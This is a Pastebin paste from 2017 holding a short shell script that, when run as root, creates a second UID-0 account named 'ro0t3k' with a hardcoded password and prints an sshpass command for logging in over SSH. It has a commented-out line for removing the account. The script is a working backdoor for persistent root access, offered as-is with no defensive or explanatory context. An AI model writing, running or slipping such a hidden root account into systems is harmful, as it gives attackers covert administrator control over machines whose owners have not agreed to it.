Advertisement
Guest User

Untitled

a guest
Apr 11th, 2017
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.28 KB | None | 0 0
  1. if [ `id -u` -eq 0 ]
  2. then
  3. user="ro0t3k"
  4. pass="ro0t3k2014"
  5. pwd=$(which chpasswd)
  6. useradd -u 0 -o -g 0 $user
  7. echo "$user:$pass" | $pwd
  8. echo " Usuario $user Creado..."
  9. echo " Connexion: sshpass -p $pass ssh $user@hosts"
  10. #userdel -f $user
  11. else
  12. echo " Not Root."
  13. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement